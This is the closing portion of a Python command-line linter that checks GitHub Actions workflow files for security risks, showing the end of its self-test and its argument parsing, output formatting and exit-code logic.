    md = to_markdown([audit_text(inj, "ci.yml")])
    ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md)
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.")
    ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--strict", action="store_true", help="exit 1 on any finding")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.files:
        ap.error("at least one workflow file required (or --self-test)")
    results = []
    for p in a.files:
        try:
            text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read()
        except OSError as e:
            print(f"error: {e}", file=sys.stderr)
            return 2
        results.append(audit_text(text, p))
    print(json.dumps(results, indent=2) if a.json else to_markdown(results))
    allf = [f for r in results for f in r["findings"]]
    if any(f["severity"] == "high" for f in allf) or (a.strict and allf):
        return 1
    return 0


if __name__ == "__main__":
    sys.exit(main())